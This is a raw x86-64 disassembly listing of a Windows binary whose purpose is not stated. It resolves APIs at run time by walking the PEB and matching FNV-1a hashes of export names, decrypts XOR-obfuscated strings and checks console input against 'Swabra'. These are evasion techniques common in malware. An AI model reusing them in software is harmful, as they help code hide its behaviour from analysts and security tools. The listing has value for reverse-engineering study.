mov qword [rbp + 0xf8], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034666
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034666
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034661
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140034640
cmp r8d, 0xe76fb4aa
je 0x14003466b
test r9d, r9d
jne 0x140034620
mov rax, qword [rax]
jmp 0x1400345f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140034797
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf8]
xorps xmm2, xmm1
movd dword [rbp + 0xf8], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
jmp 0x1400347e0
lea r9, [rbp + 0xf8]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400347b0
lea rcx, [rbp + 0xf8]
call r11
mov eax, dword [0x1400b6d58]
mov dword [rbp + 0x20], eax
movzx eax, word [0x1400b6d5c]
mov word [rbp + 0x24], ax
movzx eax, byte [str.8jgdxWV]
mov byte [rbp + 0x26], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034896
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034896
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034891
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140034870
cmp r8d, 0xe76fb4aa
je 0x14003489b
test r9d, r9d
jne 0x140034850
mov rax, qword [rax]
jmp 0x140034820
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp + 0x20], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 0x21], 0x33
xor byte [rbp + 0x22], 0x34
xor byte [rbp + 0x23], 0x35
xor byte [rbp + 0x24], 0x36
xor byte [rbp + 0x25], 0x37
xor byte [rbp + 0x26], 0x38
lea rcx, [rbp + 0x20]
call rdx
mov eax, dword [0x1400b6fb4]
mov dword [rbp - 0x50], eax
movzx eax, word [0x1400b6fb8]
mov word [rbp - 0x4c], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034976
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034976
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034971
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140034950
cmp r8d, 0xe76fb4aa
je 0x14003497b
test r9d, r9d
jne 0x140034930
mov rax, qword [rax]
jmp 0x140034900
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp - 0x4f], 0x33
xor byte [rbp - 0x4e], 0x34
xor byte [rbp - 0x4d], 0x35
xor byte [rbp - 0x4c], 0x36
xor byte [rbp - 0x4b], 0x37
lea rcx, [rbp - 0x50]
call rdx
movups xmm0, xmmword [0x1400b80c0]
movups xmmword [rbp + 0x780], xmm0
movups xmm1, xmmword [0x1400b80d0]
movups xmmword [rbp + 0x790], xmm1
movups xmm0, xmmword [0x1400b80e0]
movups xmmword [rbp + 0x7a0], xmm0
movzx eax, byte [0x1400b80f0]
mov byte [rbp + 0x7b0], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034a76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034a76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034a71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140034a50
cmp r8d, 0xe76fb4aa
je 0x140034a7b
test r9d, r9d
jne 0x140034a30
mov rax, qword [rax]
jmp 0x140034a00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x140034be3
movdqa xmm5, xmmword [0x1400b8680]
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x784]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140034ae0
cmp r8d, 0x31
jge 0x140034c20
movsxd rax, r8d
lea r9, [rbp + 0x780]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140034bf0
lea rcx, [rbp + 0x780]
call r11
jmp 0x1400358a7
xor edx, edx
lea rcx, [0x14000fc80]
call qword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [str.Q_G5_h]
mov dword [rsp + 0x58], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034cd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034cd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034cd1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140034cb0
cmp r8d, 0x491e0a9c
je 0x140034cdb
test r9d, r9d
jne 0x140034c90
mov rax, qword [rax]
jmp 0x140034c60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140034d85
movdqa xmm3, xmmword [0x1400b8680]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b86e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b86e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b86a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x58]
xorps xmm2, xmm0
movd dword [rsp + 0x58], xmm2
jmp 0x140034dc0
lea r9, [rsp + 0x58]
mov r8d, r14d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140034d90
lea rcx, [rsp + 0x58]
call r11
mov rax, qword [0x1400b7298]
mov qword [rbp + 0x100], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034e66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034e66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034e61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140034e40
cmp r8d, 0xe76fb4aa
je 0x140034e6b
test r9d, r9d
jne 0x140034e20
mov rax, qword [rax]
jmp 0x140034df0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140034f97
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x100]
xorps xmm2, xmm1
movd dword [rbp + 0x100], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x104]
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
jmp 0x140034fe0
lea r9, [rbp + 0x100]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140034fb0
lea rcx, [rbp + 0x100]
call r11
mov eax, dword [0x1400b6d58]
mov dword [rbp + 0x28], eax
movzx eax, word [0x1400b6d5c]
mov word [rbp + 0x2c], ax
movzx eax, byte [str.8jgdxWV]
mov byte [rbp + 0x2e], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035096
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035096
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140035091
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140035070
cmp r8d, 0xe76fb4aa
je 0x14003509b
test r9d, r9d
jne 0x140035050
mov rax, qword [rax]
jmp 0x140035020
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp + 0x28], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 0x29], 0x33
xor byte [rbp + 0x2a], 0x34
xor byte [rbp + 0x2b], 0x35
xor byte [rbp + 0x2c], 0x36
xor byte [rbp + 0x2d], 0x37
xor byte [rbp + 0x2e], 0x38
lea rcx, [rbp + 0x28]
call rdx
mov eax, dword [0x1400b6fb4]
mov dword [rbp - 0x48], eax
movzx eax, word [0x1400b6fb8]
mov word [rbp - 0x44], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035176
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035176
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140035171
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140035150
cmp r8d, 0xe76fb4aa
je 0x14003517b
test r9d, r9d
jne 0x140035130
mov rax, qword [rax]
jmp 0x140035100
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x48], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp - 0x47], 0x33
xor byte [rbp - 0x46], 0x34
xor byte [rbp - 0x45], 0x35
xor byte [rbp - 0x44], 0x36
xor byte [rbp - 0x43], 0x37
lea rcx, [rbp - 0x48]
call rdx
movups xmm0, xmmword [0x1400b7648]
movups xmmword [rbp + 0x258], xmm0
movzx eax, word [0x1400b7658]
mov word [rbp + 0x268], ax
movzx eax, byte [0x1400b765a]
mov byte [rbp + 0x26a], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140035266
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140035266
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140035261
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140035240
cmp r8d, 0xe76fb4aa
je 0x14003526b
test r9d, r9d
jne 0x140035220
mov rax, qword [rax]
jmp 0x1400351f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x1400353d3
movdqa xmm5, xmmword [0x1400b8680]
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x25c]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400352d0
cmp r8d, 0x13
jge 0x140035410
movsxd rax, r8d
lea r9, [rbp + 0x258]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400353e0
lea rcx, [rbp + 0x258]
call r11
movsd xmm0, qword [0x1400b75b0]
movsd qword [rbp + 0x138], xmm0
movzx eax, word [0x1400b75b8]
mov word [rbp + 0x140], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400354c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400354c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400354c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400354a0
cmp r8d, 0xe76fb4aa
je 0x1400354cb
test r9d, r9d
jne 0x140035480
mov rax, qword [rax]
jmp 0x140035450
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp + 0x138], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 0x139], 0x33
xor byte [rbp + 0x13a], 0x34
xor byte [rbp + 0x13b], 0x35
xor byte [rbp + 0x13c], 0x36
xor byte [rbp + 0x13d], 0x37
xor byte [rbp + 0x13e], 0x38
xor byte [rbp + 0x13f], 0x39
xor byte [rbp + 0x140], 0x3a
xor byte [rbp + 0x141], 0x3b
lea rcx, [rbp + 0x138]
call rdx
lea rdx, [0x1400c7388]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14003d880
lea rdx, [0x1400c7388]
lea rcx, [rbp + 0x590]
call fcn.140005a90
mov rdx, rax
lea rcx, [0x1400c7610]
call fcn.14004dcb0
cmp byte [0x1400c7820], 0
je 0x14003c3af
lea rcx, [0x1400c7610]
call fcn.140047380
lea rdx, str.Swabra
lea rcx, [0x1400c7828]
call fcn.140005e20
test al, al
jne 0x14003c3cc
call fcn.140005bb0
lea rcx, [0x1400c7610]
call fcn.140048130
test al, al
jne 0x14003baef
call fcn.1400302d0
call fcn.140005bb0
lea rdx, [0x1400c7388]
lea rcx, [rbp + 0x5b0]
call fcn.140005a90
mov rdx, rax
lea rcx, [0x1400c7610]
call fcn.14004dcb0
cmp byte [0x1400c7820], 0
je 0x14003bad7
movups xmm0, xmmword [str.q_thb_YVMH_qQX3]
movups xmmword [rbp + 0x2b8], xmm0
movsd xmm0, qword [str._tk2__IAP]
movsd qword [rbp + 0x2c8], xmm0
cmp byte [0x1400b718f], 0
je 0x1400357a0
cmp r15d, 2
jl 0x14003575d
movdqa xmm5, xmmword [0x1400b8680]
mov edx, r14d
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2bc]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140035660
jmp 0x1400357a0
lea r9, [rbp + 0x2b8]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140035770
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x5d0]
call fcn.140005c00
nop
lea rax, [rbp + 0x2b8]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400357c3
